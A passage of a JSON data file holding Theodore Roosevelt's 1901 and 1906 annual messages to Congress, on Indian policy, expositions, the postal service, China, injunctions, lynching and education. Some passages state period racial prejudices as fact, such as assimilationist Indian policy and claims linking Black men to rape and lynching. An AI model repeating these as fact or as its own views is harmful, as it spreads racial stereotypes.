rapidly expanding foreign\ncommerce, the protection of American citizens resorting to foreign\ncountries in lawful pursuit of their affairs, and the maintenance of\nthe dignity of the nation abroad, combine to make it essential that our\nconsuls should be men of character, knowledge and enterprise. It is\ntrue that the service is now, in the main, efficient, but a standard of\nexcellence cannot be permanently maintained until the principles set\nforth in the bills heretofore submitted to the Congress on this subject\nare enacted into law.In my judgment the time has arrived when we should definitely make up\nour minds to recognize the Indian as an individual and not as a member\nof a tribe. The General Allotment Act is a mighty pulverizing engine to\nbreak up the tribal mass. It acts directly upon the family and the\nindividual. Under its provisions some sixty thousand Indians have\nalready become citizens of the United States. We should now break up\nthe tribal funds, doing for them what allotment does for the tribal\nlands; that is, they should be divided into individual holdings. There\nwill be a transition period during which the funds will in many cases\nhave to be held in trust. This is the case also with the lands. A stop\nshould be put upon the indiscriminate permission to Indians to lease\ntheir allotments. The effort should be steadily to make the Indian work\nlike any other man on his own ground. The marriage laws of the Indians\nshould be made the same as those of the whites.In the schools the education should be elementary and largely\nindustrial. The need of higher education among the Indians is very,\nvery limited. On the reservations care should be taken to try to suit\nthe teaching to the needs of the particular Indian. There is no use in\nattempting to induce agriculture in a country suited only for cattle\nraising, where the Indian should be made a stock grower. The ration\nsystem, which is merely the corral and the reservation system, is\nhighly detrimental to the Indians. It promotes beggary, perpetuates\npauperism, and stifles industry. It is an effectual barrier to\nprogress. It must continue to a greater or less degree as long as\ntribes are herded on reservations and have everything in common. The\nIndian should be treated as an individual--like the white man. During\nthe change of treatment inevitable hardships will occur; every effort\nshould be made to minimize these hardships; but we should not because\nof them hesitate to make the change. There should be a continuous\nreduction in the number of agencies.In dealing with the aboriginal races few things are more important than\nto preserve them from the terrible physical and moral degradation\nresulting from the liquor traffic. We are doing all we can to save our\nown Indian tribes from this evil. Wherever by international agreement\nthis same end can be attained as regards races where we do not possess\nexclusive control, every effort should be made to bring it about.I bespeak the most cordial support from the Congress and the people for\nthe St. Louis Exposition to commemorate the One Hundredth Anniversary\nof the Louisiana Purchase. This purchase was the greatest instance of\nexpansion in our history. It definitely decided that we were to become\na great continental republic, by far the foremost power in the Western\nHemisphere. It is one of three or four great landmarks in our\nhistory--the great turning points in our development. It is eminently\nfitting that all our people should join with heartiest good will in\ncommemorating it, and the citizens of St. Louis, of Missouri, of all\nthe adjacent region, are entitled to every aid in making the\ncelebration a noteworthy event in our annals. We earnestly hope that\nforeign nations will appreciate the deep interest our country takes in\nthis Exposition, and our view of its importance from every standpoint,\nand that they will participate in securing its success. The National\nGovernment should be represented by a full and complete set of\nexhibits.The people of Charleston, with great energy and civic spirit, are\ncarrying on an Exposition which will continue throughout most of the\npresent session of the Congress. I heartily commend this Exposition to\nthe good will of the people. It deserves all the encouragement that can\nbe given it. The managers of the Charleston Exposition have requested\nthe Cabinet officers to place thereat the Government exhibits which\nhave been at Buffalo, promising to pay the necessary expenses. I have\ntaken the responsibility of directing that this be done, for I feel\nthat it is due to Charleston to help her in her praiseworthy effort. In\nmy opinion the management should not be required to pay all these\nexpenses. I earnestly recommend that the Congress appropriate at once\nthe small sum necessary for this purpose.The Pan-American Exposition at Buffalo has just closed. Both from the\nindustrial and the artistic standpoint this Exposition has been in a\nhigh degree creditable and useful, not merely to Buffalo but to the\nUnited States. The terrible tragedy of the President's assassination\ninterfered materially with its being a financial success. The\nExposition was peculiarly in harmony with the trend of our public\npolicy, because it represented an effort to bring into closer touch all\nthe peoples of the Western Hemisphere, and give them an increasing\nsense of unity. Such an effort was a genuine service to the entire\nAmerican public.The advancement of the highest interests of national science and\nlearning and the custody of objects of art and of the valuable results\nof scientific expeditions conducted by the United States have been\ncommitted to the Smithsonian Institution. In furtherance of its\ndeclared purpose--for the \"increase and diffusion of knowledge among\nmen\"--the Congress has from time to time given it other important\nfunctions. Such trusts have been executed by the Institution with\nnotable fidelity. There should be no halt in the work of the\nInstitution, in accordance with the plans which its Secretary has\npresented, for the preservation of the vanishing races of great North\nAmerican animals in the National Zoological Park. The urgent needs of\nthe National Museum are recommended to the favorable consideration of\nthe Congress.Perhaps the most characteristic educational movement of the past fifty\nyears is that which has created the modern public library and developed\nit into broad and active service. There are now over five thousand\npublic libraries in the United States, the product of this period. In\naddition to accumulating material, they are also striving by\norganization, by improvement in method, and by co-operation, to give\ngreater efficiency to the material they hold, to make it more widely\nuseful, and by avoidance of unnecessary duplication in process to\nreduce the cost of its administration.In these efforts they naturally look for assistance to the Federal\nlibrary, which, though still the Library of Congress, and so entitled,\nis the one national library of the United States. Already the largest\nsingle collection of books on the Western Hemisphere, and certain to\nincrease more rapidly than any other through purchase, exchange, and\nthe operation of the copyright law, this library has a unique\nopportunity to render to the libraries of this country--to American\nscholarship--service of the highest importance. It is housed in a\nbuilding which is the largest and most magnificent yet erected for\nlibrary uses. Resources are now being provided which will develop the\ncollection properly, equip it with the apparatus and service necessary\nto its effective use, render its bibliographic work widely available,\nand enable it to become, not merely a center of research, but the chief\nfactor in great co-operative efforts for the diffusion of knowledge and\nthe advancement of learning.For the sake of good administration, sound economy, and the advancement\nof science, the Census Office as now constituted should be made a\npermanent Government bureau. This would insure better, cheaper, and\nmore satisfactory work, in the interest not only of our business but of\nstatistic, economic, and social science.The remarkable growth of the postal service is shown in the fact that\nits revenues have doubled and its expenditures have nearly doubled\nwithin twelve years. Its progressive development compels constantly\nincreasing outlay, but in this period of business energy and prosperity\nits receipts grow so much faster than its expenses that the annual\ndeficit has been steadily reduced from $11,411,779 in 1897 to\n$3,923,727 in 1901. Among recent postal advances the success of rural\nfree delivery wherever established has been so marked, and actual\nexperience has made its benefits so plain, that the demand for its\nextension is general and urgent.It is just that the great agricultural population should share in the\nimprovement of the service. The number of rural routes now in operation\nis 6,009, practically all established within three years, and there are\n6,000 applications awaiting action. It is expected that the number in\noperation at the close of the current fiscal year will reach 8,600. The\nmail will then be daily carried to the doors of 5,700,000 of our people\nwho have heretofore been dependent upon distant offices, and one-third\nof all that portion of the country which is adapted to it will be\ncovered by this kind of service.The full measure of postal progress which might be realized has long\nbeen hampered and obstructed by the heavy burden imposed on the\nGovernment through the intrenched and well-understood abuses which have\ngrown up in connection with second-class mail matter. The extent of\nthis burden appears when it is stated that while the second-class\nmatter makes nearly three-fifths of the weight of all the mail, it paid\nfor the last fiscal year only $4,294,445 of the aggregate postal\nrevenue of $111,631,193. If the pound rate of postage, which produces\nthe large loss thus entailed, and which was fixed by the Congress with\nthe purpose of encouraging the dissemination of public information,\nwere limited to the legitimate newspapers and periodicals actually\ncontemplated by the law, no just exception could be taken. That expense\nwould be the recognized and accepted cost of a liberal public policy\ndeliberately adopted for a justifiable end. But much of the matter\nwhich enjoys the privileged rate is wholly outside of the intent of the\nlaw, and has secured admission only through an evasion of its\nrequirements or through lax construction. The proportion of such\nwrongly included matter is estimated by postal experts to be one-half\nof the whole volume of second-class mail. If it be only one-third or\none-quarter, the magnitude of the burden is apparent. The Post-Office\nDepartment has now undertaken to remove the abuses so far as is\npossible by a stricter application of the law; and it should be\nsustained in its effort.Owing to the rapid growth of our power and our interests on the\nPacific, whatever happens in China must be of the keenest national\nconcern to us.The general terms of the settlement of the questions growing out of the\nantiforeign uprisings in China of 1900, having been formulated in a\njoint note addressed to China by the representatives of the injured\npowers in December last, were promptly accepted by the Chinese\nGovernment. After protracted conferences the plenipotentiaries of the\nseveral powers were able to sign a final protocol with the Chinese\nplenipotentiaries on the 7th of last September, setting forth the\nmeasures taken by China in compliance with the demands of the joint\nnote, and expressing their satisfaction therewith. It will be laid\nbefore the Congress, with a report of the plenipotentiary on behalf of\nthe United States, Mr. William Woodville Rockhill, to whom high praise\nis due for the tact, good judgment, and energy he has displayed in\nperforming an exceptionally difficult and delicate task.The agreement reached disposes in a manner satisfactory to the powers\nof the various grounds of complaint, and will contribute materially to\nbetter future relations between China and the powers. Reparation has\nbeen made by China for the murder of foreigners during the uprising and\npunishment has been inflicted on the officials, however high in rank,\nrecognized as responsible for or having participated in the outbreak.\nOfficial examinations have been forbidden for a period of five years in\nall cities in which foreigners have been murdered or cruelly treated,\nand edicts have been issued making all officials directly responsible\nfor the future safety of foreigners and for the suppression of violence\nagainst them.Provisions have been made for insuring the future safety of the foreign\nrepresentatives in Peking by setting aside for their exclusive use a\nquarter of the city which the powers can make defensible and in which\nthey can if necessary maintain permanent military guards; by\ndismantling the military works between the capital and the sea; and by\nallowing the temporary maintenance of foreign military posts along this\nline. An edict has been issued by the Emperor of China prohibiting for\ntwo years the importation of arms and ammunition into China. China has\nagreed to pay adequate indemnities to the states, societies, and\nindividuals for the losses sustained by them and for the expenses of\nthe military expeditions sent by the various powers to protect life and\nrestore order.Under the provisions of the joint note of December, 1900, China has\nagreed to revise the treaties of commerce and navigation and to take\nsuch other steps for the purpose of facilitating foreign trade as the\nforeign powers may decide to be needed.The Chinese Government has agreed to participate financially in the\nwork of bettering the water approaches to Shanghai and to Tientsin, the\ncenters of foreign trade in central and northern China, and an\ninternational conservancy board, in which the Chinese Government is\nlargely represented, has been provided for the improvement of the\nShanghai River and the control of its navigation. In the same line of\ncommercial advantages a revision of the present tariff on imports has\nbeen assented to for the purpose of substituting specific for ad\nvalorem duties, and an expert has been sent abroad on the part of the\nUnited States to assist in this work. A list of articles to remain free\nof duty, including flour, cereals, and rice, gold and silver coin and\nbullion, has also been agreed upon in the settlement.During these troubles our Government has unswervingly advocated\nmoderation, and has materially aided in bringing about an adjustment\nwhich tends to enhance the welfare of China and to lead to a more\nbeneficial intercourse between the Empire and the modern world; while\nin the critical period of revolt and massacre we did our full share in\nsafe-guarding life and property, restoring order, and vindicating the\nnational interest and honor. It behooves us to continue in these paths,\ndoing what lies in our power to foster feelings of good will, and\nleaving no effort untried to work out the great policy of full and fair\nintercourse between China and the nations, on a footing of equal rights\nand advantages to all. We advocate the \"open door\" with all that it\nimplies; not merely the procurement of enlarged commercial\nopportunities on the coasts, but access to the interior by the\nwaterways with which China has been so extraordinarily favored. Only by\nbringing the people of China into peaceful and friendly community of\ntrade with all the peoples of the earth can the work now auspiciously\nbegun be carried to fruition. In the attainment of this purpose we\nnecessarily claim parity of treatment, under the conventions,\nthroughout the Empire for our trade and our citizens with those of all\nother powers.We view with lively interest and keen hopes of beneficial results the\nproceedings of the Pan-American Congress, convoked at the invitation of\nMexico, and now sitting at the Mexican capital. The delegates of the\nUnited States are under the most liberal instructions to cooperate with\ntheir colleagues in all matters promising advantage to the great family\nof American commonwealths, as well in their relations among themselves\nas in their domestic advancement and in their intercourse with the\nworld at large.My predecessor communicated to the Congress the fact that the Weil and\nLa Abra awards against Mexico have been adjudged by the highest courts\nof our country to have been obtained through fraud and perjury on the\npart of the claimants, and that in accordance with the acts of the\nCongress the money remaining in the hands of the Secretary of State on\nthese awards has been returned to Mexico. A considerable portion of the\nmoney received from Mexico on these awards had been paid by this\nGovernment to the claimants before the decision of the courts was\nrendered. My judgment is that the Congress should return to Mexico an\namount equal to the sums thus already paid to the claimants.The death of Queen Victoria caused the people of the United States deep\nand heartfelt sorrow, to which the Government gave full expression.\nWhen President McKinley died, our Nation in turn received from every\nquarter of the British Empire expressions of grief and sympathy no less\nsincere. The death of the Empress Dowager Frederick of Germany also\naroused the genuine sympathy of the American people; and this sympathy\nwas cordially reciprocated by Germany when the President was\nassassinated. Indeed, from every quarter of the civilized world we\nreceived, at the time of the President's death, assurances of such\ngrief and regard as to touch the hearts of our people. In the midst of\nour affliction we reverently thank the Almighty that we are at peace\nwith the nations of mankind; and we firmly intend that our policy shall\nbe such as to continue unbroken these international relations of mutual\nrespect and good will.", 
+    "name": "Theodore Roosevelt"
+}
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+{
+    "date": "December 3, 1906", 
+    "speech": "To the Senate and House of Representatives:As a nation we still continue to enjoy a literally unprecedented\nprosperity; and it is probable that only reckless speculation and\ndisregard of legitimate business methods on the part of the business\nworld can materially mar this prosperity.No Congress in our time has done more good work of importance than the\npresent Congress. There were several matters left unfinished at your\nlast session, however, which I most earnestly hope you will complete\nbefore your adjournment.I again recommend a law prohibiting all corporations from contributing\nto the campaign expenses of any party. Such a bill has already past one\nHouse of Congress. Let individuals contribute as they desire; but let\nus prohibit in effective fashion all corporations from making\ncontributions for any political purpose, directly or indirectly.Another bill which has just past one House of the Congress and which it\nis urgently necessary should be enacted into law is that conferring\nupon the Government the right of appeal in criminal cases on questions\nof law. This right exists in many of the States; it exists in the\nDistrict of Columbia by act of the Congress. It is of course not\nproposed that in any case a verdict for the defendant on the merits\nshould be set aside. Recently in one district where the Government had\nindicted certain persons for conspiracy in connection with rebates, the\ncourt sustained the defendant's demurrer; while in another jurisdiction\nan indictment for conspiracy to obtain rebates has been sustained by\nthe court, convictions obtained under it, and two defendants sentenced\nto imprisonment. The two cases referred to may not be in real conflict\nwith each other, but it is unfortunate that there should even be an\napparent conflict. At present there is no way by which the Government\ncan cause such a conflict, when it occurs, to be solved by an appeal to\na higher court; and the wheels of justice are blocked without any real\ndecision of the question. I can not too strongly urge the passage of\nthe bill in question. A failure to pass it will result in seriously\nhampering the Government in its effort to obtain justice, especially\nagainst wealthy individuals or corporations who do wrong; and may also\nprevent the Government from obtaining justice for wage-workers who are\nnot themselves able effectively to contest a case where the judgment of\nan inferior court has been against them. I have specifically in view a\nrecent decision by a district judge leaving railway employees without\nremedy for violation of a certain so-called labor statute. It seems an\nabsurdity to permit a single district judge, against what may be the\njudgment of the immense majority of his colleagues on the bench,\nto declare a law solemnly enacted by the Congress to be\n\"unconstitutional,\" and then to deny to the Government the right to\nhave the Supreme Court definitely decide the question.It is well to recollect that the real efficiency of the law often\ndepends not upon the passage of acts as to which there is great public\nexcitement, but upon the passage of acts of this nature as to which\nthere is not much public excitement, because there is little public\nunderstanding of their importance, while the interested parties are\nkeenly alive to the desirability of defeating them. The importance of\nenacting into law the particular bill in question is further increased\nby the fact that the Government has now definitely begun a policy of\nresorting to the criminal law in those trust and interstate commerce\ncases where such a course offers a reasonable chance of success. At\nfirst, as was proper, every effort was made to enforce these laws by\ncivil proceedings; but it has become increasingly evident that the\naction of the Government in finally deciding, in certain cases, to\nundertake criminal proceedings was justifiable; and though there have\nbeen some conspicuous failures in these cases, we have had many\nsuccesses, which have undoubtedly had a deterrent effect upon\nevil-doers, whether the penalty inflicted was in the shape of fine or\nimprisonment--and penalties of both kinds have already been inflicted\nby the courts. Of course, where the judge can see his way to inflict\nthe penalty of imprisonment the deterrent effect of the punishment on\nother offenders is increased; but sufficiently heavy fines accomplish\nmuch. Judge Holt, of the New York district court, in a recent decision\nadmirably stated the need for treating with just severity offenders of\nthis kind. His opinion runs in part as follows:'The Government's evidence to establish the defendant's guilt was\nclear, conclusive, and undisputed. The case was a flagrant one. The\ntransactions which took place under this illegal contract were very\nlarge; the amounts of rebates returned were considerable; and the\namount of the rebate itself was large, amounting to more than one-fifth\nof the entire tariff charge for the transportation of merchandise from\nthis city to Detroit. It is not too much to say, in my opinion, that if\nthis business was carried on for a considerable time on that\nbasis--that is, if this discrimination in favor of this particular\nshipper was made with an 18 instead of a 23 cent rate and the tariff\nrate was maintained as against their competitors--the result might be\nand not improbably would be that their competitors would be driven out\nof business. This crime is one which in its nature is deliberate and\npremeditated. I think over a fortnight elapsed between the date of\nPalmer's letter requesting the reduced rate and the answer of the\nrailroad company deciding to grant it, and then for months afterwards\nthis business was carried on and these claims for rebates submitted\nmonth after month and checks in payment of them drawn month after\nmonth. Such a violation of the law, in my opinion, in its essential\nnature, is a very much more heinous act than the ordinary common,\nvulgar crimes which come before criminal courts constantly for\npunishment and which arise from sudden passion or temptation. This\ncrime in this case was committed by men of education and of large\nbusiness experience, whose standing in the community was such that they\nmight have been expected to set an example of obedience to law upon the\nmaintenance of which alone in this country the security of their\nproperty depends. It was committed on behalf of a great railroad\ncorporation, which, like other railroad corporations, has received\ngratuitously from the State large and valuable privileges for the\npublic's convenience and its own, which performs quasi public functions\nand which is charged with the highest obligation in the transaction of\nits business to treat the citizens of this country alike, and not to\ncarry on its business with unjust discriminations between different\ncitizens or different classes of citizens. This crime in its nature is\none usually done with secrecy, and proof of which it is very difficult\nto obtain. The interstate commerce act was past in 1887, nearly twenty\nyears ago. Ever since that time complaints of the granting of rebates\nby railroads have been common, urgent, and insistent, and although the\nCongress has repeatedly past legislation endeavoring to put a stop to\nthis evil, the difficulty of obtaining proof upon which to bring\nprosecution in these cases is so great that this is the first case that\nhas ever been brought in this court, and, as I am formed, this case and\none recently brought in Philadelphia are the only cases that have ever\nbeen brought in the eastern part of this country. In fact, but few\ncases of this kind have ever been brought in this country, East or\nWest. Now, under these circumstances, I am forced to the conclusion, in\na case in which the proof is so clear and the facts are so flagrant, it\nis the duty of the court to fix a penalty which shall in some degree be\ncommensurate with the gravity of the offense. As between the two\ndefendants, in my opinion, the principal penalty should be imposed on\nthe corporation. The traffic manager in this case, presumably, acted\nwithout any advantage to himself and without any interest in the\ntransaction, either by the direct authority or in accordance with what\nhe understood to be the policy or the wishes of his employer.\"The sentence of this court in this case is, that the defendant\nPomeroy, for each of the six offenses upon which he has been convicted,\nbe fined the sum of $1,000, making six fines, amounting in all to the\nsum of $6,000; and the defendant, The New York Central and Hudson River\nRailroad Company, for each of the six crimes of which it has been\nconvicted, be fined the sum of $18,000, making six fines amounting in\nthe aggregate to the sum of $108,000, and judgment to that effect will\nbe entered in this case.\"In connection with this matter, I would like to call attention to the\nvery unsatisfactory state of our criminal law, resulting in large part\nfrom the habit of setting aside the judgments of inferior courts on\ntechnicalities absolutely unconnected with the merits of the case, and\nwhere there is no attempt to show that there has been any failure of\nsubstantial justice. It would be well to enact a law providing\nsomething to the effect that:No judgment shall be set aside or new trial granted in any cause, civil\nor criminal, on the ground of misdirection of the jury or the improper\nadmission or rejection of evidence, or for error as to any matter of\npleading or procedure unless, in the opinion of the court to which the\napplication is made, after an examination of the entire cause, it shall\naffirmatively appear that the error complained of has resulted in a\nmiscarriage of justice.In my last message I suggested the enactment of a law in connection\nwith the issuance of injunctions, attention having been sharply drawn\nto the matter by the demand that the right of applying injunctions in\nlabor cases should be wholly abolished. It is at least doubtful whether\na law abolishing altogether the use of injunctions in such cases would\nstand the test of the courts; in which case of course the legislation\nwould be ineffective. Moreover, I believe it would be wrong altogether\nto prohibit the use of injunctions. It is criminal to permit sympathy\nfor criminals to weaken our hands in upholding the law; and if men seek\nto destroy life or property by mob violence there should be no\nimpairment of the power of the courts to deal with them in the most\nsummary and effective way possible. But so far as possible the abuse of\nthe power should be provided against by some such law as I advocated\nlast year.In this matter of injunctions there is lodged in the hands of the\njudiciary a necessary power which is nevertheless subject to the\npossibility of grave abuse. It is a power that should be exercised with\nextreme care and should be subject to the jealous scrutiny of all men,\nand condemnation should be meted out as much to the judge who fails to\nuse it boldly when necessary as to the judge who uses it wantonly or\noppressively. Of course a judge strong enough to be fit for his office\nwill enjoin any resort to violence or intimidation, especially by\nconspiracy, no matter what his opinion may be of the rights of the\noriginal quarrel. There must be no hesitation in dealing with disorder.\nBut there must likewise be no such abuse of the injunctive power as is\nimplied in forbidding laboring men to strive for their own betterment\nin peaceful and lawful ways; nor must the injunction be used merely to\naid some big corporation in carrying out schemes for its own\naggrandizement. It must be remembered that a preliminary injunction in\na labor case, if granted without adequate proof (even when authority\ncan be found to support the conclusions of law on which it is founded),\nmay often settle the dispute between the parties; and therefore if\nimproperly granted may do irreparable wrong. Yet there are many judges\nwho assume a matter-of-course granting of a preliminary injunction to\nbe the ordinary and proper judicial disposition of such cases; and\nthere have undoubtedly been flagrant wrongs committed by judges in\nconnection with labor disputes even within the last few years, although\nI think much less often than in former years. Such judges by their\nunwise action immensely strengthen the hands of those who are striving\nentirely to do away with the power of injunction; and therefore such\ncareless use of the injunctive process tends to threaten its very\nexistence, for if the American people ever become convinced that this\nprocess is habitually abused, whether in matters affecting labor or in\nmatters affecting corporations, it will be well-nigh impossible to\nprevent its abolition.It may be the highest duty of a judge at any given moment to disregard,\nnot merely the wishes of individuals of great political or financial\npower, but the overwhelming tide of public sentiment; and the judge who\ndoes thus disregard public sentiment when it is wrong, who brushes\naside the plea of any special interest when the pleading is not rounded\non righteousness, performs the highest service to the country. Such a\njudge is deserving of all honor; and all honor can not be paid to this\nwise and fearless judge if we permit the growth of an absurd convention\nwhich would forbid any criticism of the judge of another type, who\nshows himself timid in the presence of arrogant disorder, or who on\ninsufficient grounds grants an injunction that does grave injustice, or\nwho in his capacity as a construer, and therefore in part a maker, of\nthe law, in flagrant fashion thwarts the cause of decent government.\nThe judge has a power over which no review can be exercised; he himself\nsits in review upon the acts of both the executive and legislative\nbranches of the Government; save in the most extraordinary cases he is\namenable only at the bar of public opinion; and it is unwise to\nmaintain that public opinion in reference to a man with such power\nshall neither be exprest nor led.The best judges have ever been foremost to disclaim any immunity from\ncriticism. This has been true since the days of the great English Lord\nChancellor Parker, who said: \"Let all people be at liberty to know what\nI found my judgment upon; that, so when I have given it in any cause,\nothers may be at liberty to judge of me.\" The proprieties of the case\nwere set forth with singular clearness and good temper by Judge W. H.\nTaft, when a United States circuit judge, eleven years ago, in 1895:\"The opportunity freely and publicly to criticize judicial action is of\nvastly more importance to the body politic than the immunity of courts\nand judges from unjust aspersions and attack. Nothing tends more to\nrender judges careful in their decisions and anxiously solicitous to do\nexact justice than the consciousness that every act of theirs is to be\nsubjected to the intelligent scrutiny and candid criticism of their\nfellow-men. Such criticism is beneficial in proportion as it is fair,\ndispassionate, discriminating, and based on a knowledge of sound legal\nprinciples. The comments made by learned text writers and by the acute\neditors of the various law reviews upon judicial decisions are\ntherefore highly useful. Such critics constitute more or less impartial\ntribunals of professional opinion before which each judgment is made to\nstand or fall on its merits, and thus exert a strong influence to\nsecure uniformity of decision. But non-professional criticism also is\nby no means without its uses, even if accompanied, as it often is, by a\ndirect attack upon the judicial fairness and motives of the occupants\nof the bench; for if the law is but the essence of common sense, the\nprotest of many average men may evidence a defect in a judicial\nconclusion, though based on the nicest legal reasoning and profoundest\nlearning. The two important elements of moral character in a judge are\nan earnest desire to reach a just conclusion and courage to enforce it.\nIn so far as fear of public comment does not affect the courage of a\njudge, but only spurs him on to search his conscience and to reach the\nresult which approves itself to his inmost heart such comment serves a\nuseful purpose. There are few men, whether they are judges for life or\nfor a shorter term, who do not prefer to earn and hold the respect of\nall, and who can not be reached and made to pause and deliberate by\nhostile public criticism. In the case of judges having a life tenure,\nindeed their very independence makes the right freely to comment on\ntheir decisions of greater importance, because it is the only practical\nand available instrument in the hands of a free people to keep such\njudges alive to the reasonable demands of those they serve.\"On the other hand, the danger of destroying the proper influence of\njudicial decisions by creating unfounded prejudices against the courts\njustifies and requires that unjust attacks shall be met and answered.\nCourts must ultimately rest their defense upon the inherent strength of\nthe opinions they deliver as the ground for their conclusions and must\ntrust to the calm and deliberate judgment of all the people as their\nbest vindication.\"There is one consideration which should be taken into account by the\ngood people who carry a sound proposition to an excess in objecting to\nany criticism of a judge's decision. The instinct of the American\npeople as a whole is sound in this matter. They will not subscribe to\nthe doctrine that any public servant is to be above all criticism. If\nthe best citizens, those most competent to express their judgment in\nsuch matters, and above all those belonging to the great and honorable\nprofession of the bar, so profoundly influential in American life, take\nthe position that there shall be no criticism of a judge under any\ncircumstances, their view will not be accepted by the American people\nas a whole. In such event the people will turn to, and tend to accept\nas justifiable, the intemperate and improper criticism uttered by\nunworthy agitators. Surely it is a misfortune to leave to such critics\na function, right, in itself, which they are certain to abuse. Just and\ntemperate criticism, when necessary, is a safeguard against the\nacceptance by the people as a whole of that intemperate antagonism\ntowards the judiciary which must be combated by every right-thinking\nman, and which, if it became widespread among the people at large,\nwould constitute a dire menace to the Republic.In connection with the delays of the law, I call your attention and the\nattention of the Nation to the prevalence of crime among us, and above\nall to the epidemic of lynching and mob violence that springs up, now\nin one part of our country, now in another. Each section, North, South,\nEast, or West, has its own faults; no section can with wisdom spend its\ntime jeering at the faults of another section; it should be busy trying\nto amend its own shortcomings. To deal with the crime of corruption It\nis necessary to have an awakened public conscience, and to supplement\nthis by whatever legislation will add speed and certainty in the\nexecution of the law. When we deal with lynching even mote is\nnecessary. A great many white men are lynched, but the crime is\npeculiarly frequent in respect to black men. The greatest existing\ncause of lynching is the perpetration, especially by black men, of the\nhideous crime of rape--the most abominable in all the category of\ncrimes, even worse than murder. Mobs frequently avenge the commission\nof this crime by themselves torturing to death the man committing it;\nthus avenging in bestial fashion a bestial deed, and reducing\nthemselves to a level with the criminal.Lawlessness grows by what it feeds upon; and when mobs begin to lynch\nfor rape they speedily extend the sphere of their operations and lynch\nfor many other kinds of crimes, so that two-thirds of the lynchings are\nnot for rape at all; while a considerable proportion of the individuals\nlynched are innocent of all crime. Governor Candler, of Georgia, stated\non one occasion some years ago: \"I can say of a verity that I have,\nwithin the last month, saved the lives of half a dozen innocent Negroes\nwho were pursued by the mob, and brought them to trial in a court of\nlaw in which they were acquitted.\" As Bishop Galloway, of Mississippi,\nhas finely said: \"When the rule of a mob obtains, that which\ndistinguishes a high civilization is surrendered. The mob which lynches\na negro charged with rape will in a little while lynch a white man\nsuspected of crime. Every Christian patriot in America needs to lift up\nhis voice in loud and eternal protest against the mob spirit that is\nthreatening the integrity of this Republic.\" Governor Jelks, of\nAlabama, has recently spoken as follows: \"The lynching of any person\nfor whatever crime is inexcusable anywhere--it is a defiance of orderly\ngovernment; but the killing of innocent people under any provocation is\ninfinitely more horrible; and yet innocent people are likely to die\nwhen a mob's terrible lust is once aroused. The lesson is this: No good\ncitizen can afford to countenance a defiance of the statutes, no matter\nwhat the provocation. The innocent frequently suffer, and, it is my\nobservation, more usually suffer than the guilty. The white people of\nthe South indict the whole colored race on the ground that even the\nbetter elements lend no assistance whatever in ferreting out criminals\nof their own color. The respectable colored people must learn not to\nharbor their criminals, but to assist the officers in bringing them to\njustice. This is the larger crime, and it provokes such atrocious\noffenses as the one at Atlanta. The two races can never get on until\nthere is an understanding on the part of both to make common cause with\nthe law-abiding against criminals of any color.\"Moreover, where any crime committed by a member of one race against a\nmember of another race is avenged in such fashion that it seems as if\nnot the individual criminal, but the whole race, is attacked, the\nresult is to exasperate to the highest degree race feeling. There is\nbut one safe rule in dealing with black men as with white men; it is\nthe same rule that must be applied in dealing with rich men and poor\nmen; that is, to treat each man, whatever his color, his creed, or his\nsocial position, with even-handed justice on his real worth as a man.\nWhite people owe it quite as much to themselves as to the colored race\nto treat well the colored man who shows by his life that he deserves\nsuch treatment; for it is surely the highest wisdom to encourage in the\ncolored race all those individuals who are honest, industrious,\nlaw-abiding, and who therefore make good and safe neighbors and\ncitizens. Reward or punish the individual on his merits as an\nindividual. Evil will surely come in the end to both races if we\nsubstitute for this just rule the habit of treating all the members of\nthe race, good and bad, alike. There is no question of \"social\nequality\" or \"negro domination\" involved; only the question of\nrelentlessly punishing bad men, and of securing to the good man the\nright to his life, his liberty, and the pursuit of his happiness as his\nown qualities of heart, head, and hand enable him to achieve it.Every colored man should realize that the worst enemy of his race is\nthe negro criminal, and above all the negro criminal who commits the\ndreadful crime of rape; and it should be felt as in the highest degree\nan offense against the whole country, and against the colored race in\nparticular, for a colored man to fail to help the officers of the law\nin hunting down with all possible earnestness and zeal every such\ninfamous offender. Moreover, in my judgment, the crime of rape should\nalways be punished with death, as is the case with murder; assault with\nintent to commit rape should be made a capital crime, at least in the\ndiscretion of the court; and provision should be made by which the\npunishment may follow immediately upon the heels of the offense; while\nthe trial should be so conducted that the victim need not be wantonly\nshamed while giving testimony, and that the least possible publicity\nshall be given to the details.The members of the white race on the other hand should understand that\nevery lynching represents by just so much a loosening of the bands of\ncivilization; that the spirit of lynching inevitably throws into\nprominence in the community all the foul and evil creatures who dwell\ntherein. No man can take part in the torture of a human being without\nhaving his own moral nature permanently lowered. Every lynching means\njust so much moral deterioration in all the children who have any\nknowledge of it, and therefore just so much additional trouble for the\nnext generation of Americans.Let justice be both sure and swift; but let it be justice under the\nlaw, and not the wild and crooked savagery of a mob.There is another matter which has a direct bearing upon this matter of\nlynching and of the brutal crime which sometimes calls it forth and at\nother times merely furnishes the excuse for its existence. It is out of\nthe question for our people as a whole permanently to rise by treading\ndown any of their own number. Even those who themselves for the moment\nprofit by such maltreatment of their fellows will in the long run also\nsuffer. No more shortsighted policy can be imagined than, in the\nfancied interest of one class, to prevent the education of another\nclass. The free public school, the chance for each boy or girl to get a\ngood elementary education, lies at the foundation of our whole\npolitical situation. In every community the poorest citizens, those who\nneed the schools most, would be deprived of them if they only received\nschool facilities proportioned to the taxes they paid. This is as true\nof one portion of our country as of another. It is as true for the\nnegro as for the white man. The white man, if he is wise, will decline\nto allow the Negroes in a mass to grow to manhood and womanhood without\neducation. Unquestionably education such as is obtained in our public\nschools does not do everything towards making a man a good citizen; but\nit does much. The lowest and most brutal criminals, those for instance\nwho commit the crime of rape, are in the great majority men who have\nhad either no education or very little; just as they are almost\ninvariably men who own no property; for the man who puts money by out\nof his earnings, like the man who acquires education, is usually lifted\nabove mere brutal criminality. Of course the best type of education for\nthe colored man, taken as a whole, is such education as is conferred in\nschools like Hampton and Tuskegee; where the boys and girls, the young\nmen and young women, are trained industrially as well as in the\nordinary public school branches. The graduates of these schools turn\nout well in the great majority of cases, and hardly any of them become\ncriminals, while what little criminality there is never takes the form\nof that brutal violence which invites lynch law. Every graduate of\nthese schools--and for the matter of that every other colored man or\nwoman--who leads a life so useful and honorable as to win the good will\nand respect of those whites whose neighbor he or she is, thereby helps\nthe whole colored race as it can be helped in no other way; for next to\nthe negro himself, the man who can do most to help the negro is his\nwhite neighbor who lives near him; and our steady effort should be to\nbetter the relations between the two. Great though the benefit of these\nschools has been to their colored pupils and to the colored people, it\nmay well be questioned whether the benefit, has not been at least as\ngreat to the white people among whom these colored pupils live after\nthey graduate.Be it remembered, furthermore, that the individuals who, whether from\nfolly, from evil temper, from greed for office, or in a spirit of mere\nbase demagogy, 